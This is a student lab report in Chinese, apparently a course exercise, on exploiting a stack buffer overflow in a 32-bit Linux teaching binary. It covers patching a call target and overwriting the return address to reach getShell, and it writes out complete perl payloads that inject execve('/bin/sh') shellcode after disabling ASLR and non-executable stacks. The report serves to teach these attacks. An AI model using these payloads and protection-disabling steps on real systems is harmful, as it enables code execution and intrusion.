pwn1
的linux可執行文件。main
調用foo
函數,foo
函數會簡單回顯任何用戶輸入的字符串。getShell
,會返回一個可用Shell
。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode
。返回目錄html
getShell
foo
函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell
函數shellcode
並運行這段shellcode
返回目錄linux
掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼shell
- 使用
objdump -d 20165330zyx
可查看可執行文件20165330zyx
的反彙編代碼及其對應機器碼
- 可知:
NOP
:無做用,英文"no operation"的簡寫,意思是"do nothing"(機器碼90)JNE
:若不相等則跳(機器碼75JE
:若相等則跳(機器碼74JMP
:無條件轉移指令。段內直接短轉Jmp short(機器碼:EB),段內直接近轉移Jmp near(機器碼:E9),段內間接轉移Jmp word(機器碼:FF),段間直接(遠)轉移Jmp far(機器碼:EA)CMP
:比較指令,cmp的功能至關於減法指令。它不保存結果,只是影響相應的標誌位(機器碼39)
掌握反彙編與十六進制編程器編程
- 反彙編指令:
objdump -d objfile
,關於其餘用法可參考Linux下C程序的反彙編- 關於管道,輸入、輸出重定向參考linux下輸入輸出重定向和管道符
- 十六進制編程器:用來以16進制視圖進行文本編輯的編輯工具軟件,其實咱們只須要用各系統都兼容的
vim編輯器
就能夠實現十六進制編輯的功能。具體步驟以下:
- 輸入命令
vi 20165330zyx
查看可執行文件內容,發現大部分是咱們無法理解的亂碼;- 按
esc
後在底行輸入:%!xxd
將顯示模式切換爲16進制模式;- 進行相關操做後,輸入
:%!xxd -r
轉換16進製爲原格式。
能正確修改機器指令改變程序執行流程vim
見實驗步驟1sass
能正確構造payload進行bof攻擊安全
見實驗步驟3bash
返回目錄網絡
getShell
函數objdump -d 20165330zyx
指令查看可執行文件的反彙編結果80484b5: e8 d7 ff ff ff call 8048491 <foo>
getShell
函數的地址0804847d
和foo
函數的地址08048491
,能夠發現兩地址之差爲十六進制14;d7 ff ff ff
這四個字節爲數值部分,表明指令跳轉時須要與eip
寄存器相加的偏移量getShell
,只須要修改d7 ff ff ff
便可。因爲數值存儲方式爲小端方式,因此鎖定須要改的字節爲d7
,將它與地址差14作減法運算後的值爲c3call
指令的目標地址由d7ffffff
變爲c3ffffff
cp 20165330zyx 20165330pwn2
複製文件vi 20165330pwn2
編輯可執行文件;esc
後,輸入%!xxd
將顯示模式切換爲十六進制模式/d7
查找須要修改的內容,將d7改成c3:%!xxd -r
:wq
call
指令調用的函數被改./20165330pwn2
運行該可執行文件foo
函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell
函數foo
函數,咱們發現這個函數有Buffer overflow漏洞foo
函數讀入字符串,但系統只預留了32字節的緩衝區,超出部分會形成溢出,咱們的目標是覆蓋返回地址call
調用foo
,同時在堆棧上壓上返回地址值0x80484ba
gdb 20165330pwn
(pwn的副本)調試程序,輸入有規律的字符串如1111111122222222333333334444444412345678
,發生段錯誤產生溢出info r
查看寄存器eip的值,發現輸入的1234被覆蓋到堆棧上的返回地址getShell
的地址0x0804847d
把1234替換便可11111111222222223333333344444444\x7d\x84\x04\x08
\x7d\x84\x04\x08
這樣的16進制值,輸入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
生成包括字符串的一個文件(\x0a
表示回車)xxd
查看input文件的內容是否如預期(cat input;cat) | ./20165330pwn
將input中的字符串做爲可執行文件的輸入shellcode
並運行這段shellcode
apt-get install execstack
修改些設置dom
execstack -s pwn1 //設置堆棧可執行 execstack -q pwn1 //查詢文件的堆棧是否可執行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
咱們選擇retaddr+nops+shellcode結構來攻擊buf,在shellcode前填充nop的機器碼90:
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode //上面的\x4\x3\x2\x1將覆蓋到堆棧上的返回地址的位置。咱們得把它改成這段shellcode的地址。 //特別提醒:最後一個字符千萬不能是\x0a
(cat input_shellcode;cat) | ./20165330pwn
ps -ef | grep 20165330pwn
attach 2222
與進程創建鏈接設置斷點查看注入buf的內存地址
disassemble foo //反彙編 break *0x080484ae //設置斷點 //在另一個終端中按下回車
c
繼續info r esp
查看esp棧頂指針的地址x/16x 0xffffd33c
查看其存放內容,看到01020304
,就是返回地址的位置。根據咱們構造的input_shellcode
可知,shellcode就在其後,因此地址是 0xffffd340
,即0xffffd33c加上4字節
c
-quit
退出gdb調試,回到以前的終端輸入exit
退出命令,修改以前的\x4\x3\x2\x1
部分:perl -e 'print "A" x 32;print"\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
再次運行(cat input_shellcode;cat) | ./20165330pwn
後發現執行成功
在實驗過程當中虛擬機鏈接網絡失敗,試了以前全部方法都沒效果
解決辦法:參考如何解決VMware Workstation虛擬機沒法上網,重置網絡設置以後重啓虛擬機便可鏈接網絡。
在運行pwn1時出現錯誤提示:[ bash: ./pwn1:沒有那個文件或目錄]
,但ls命令下又能看到存在pwn1文件
解決辦法:參考64位Kali沒法順利執行pwn1問題的解決方案,通常可解決。
在對上一個問題進行解決時,按照方法卻出現了錯誤提示kali沒法安全地用該源進行更新,因此默認禁用該源
,kali沒法更新源
解決辦法:參考解決kali更新源時出現簽名無效問題,我將更新源換成該博客中的內容後在進行
apt-get update
更新成功,以後輸入apt-get install lib32z1
32位運行庫安裝成功,文件可執行
下載execstack程序時,出現錯誤提示
實驗收穫與感想
在此次實驗中不只懂得了什麼是緩衝區溢出,也動手實現了緩衝區溢出,而且也把上學期所學的一些內容又串聯在了一塊兒,加深了我對堆棧的理解。
什麼是漏洞?漏洞有什麼危害?
- 緩衝區溢出就是輸入的內容超過所分配的緩衝區空間,被溢出的內容因爲設計的缺陷沒有被馬上檢查到,而破壞堆棧覆蓋一些原始數據。
- 會致使程序運行失敗、系統關機、從新啓動,或者執行攻擊者的指令,好比非法提高權限。